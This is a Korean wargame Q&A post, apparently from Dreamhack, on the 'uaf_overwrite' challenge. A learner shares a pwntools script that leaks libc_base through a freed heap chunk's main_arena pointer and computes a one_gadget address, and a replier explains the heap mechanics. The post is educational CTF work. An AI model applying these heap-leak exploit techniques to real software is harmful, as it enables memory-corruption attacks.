완료됨
uaf_overwrite libc_base 구하기

from pwn import * p = process("./uaf_overwrite") def slog(sym, val): success(sym + ": " + hex(val)) def human(weight, age): p.sendlineafter(">", "1") p.sendlineafter(": ", str(weight)) p.sendlineafter(": ", str(age)) def robot(weight): p.sendlineafter(">", "2") p.sendlineafter(": ", str(weight)) def custom(size, data, idx): p.sendlineafter(">", "3") p.sendlineafter(": ", str(size)) p.sendafter(": ", data) p.sendlineafter(": ", str(idx)) custom(0x500, "AAAA", -1) custom(0x500, "AAAA", -1) custom(0x500, "AAAA", 0) custom(0x500, "B", -1) lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42 og = lb + 0x10a41c slog("libc_base", lb) slog("one_gadget", og)
모르겠어서 강의를 봤는데
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)
이렇게 보낸 값이 붜고 왜 이 값에서 0x3ebc42를 빼면 libc와의 오프셋을 구할수 있는건지 궁금합니다!!

#libc #offset
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 2
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

0x500 만큼 두번 할당하고
탑청크로부터 먼쪽을 해제하면 해당 위치에 main_arena라는 libc 영역 내 값이 삽입됩니다.
이 상태에서 다시 할당하면 해제한 위치에 다시 청크가 할당되며 이를 이용해 main_arena의 주소값을 출력할 수 있습니다.

또한 메인아레나의 위치는 베이스 주소로부터 고정된 오프셋에 위치하기에 계산을 통해 베이스 어드레스를 구할 수 있습니다

2022.12.09. 22:35
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

답이 늦었네요 ㅎㅎ

그 해제한 청크 아래쪽에 주소가 저장 되는것인가요?
청크 내의 fd 위치에 저장됩니다

그래서 그 위치에 다시 할당하면 주소가 출력 되는것이고 그리고 강의에서 마지막으로 청크를 재할당 받을때 b 를 저장하는데 그 의미는 뭔가요?
a던 b던 1이던 다 상관없습니다.
단순히 아무값도 넣지않고 새 힙 할당이 불가능한 상태이기에 임의로 b를 넣은겁니다 ㅎ

2022.12.10. 21:06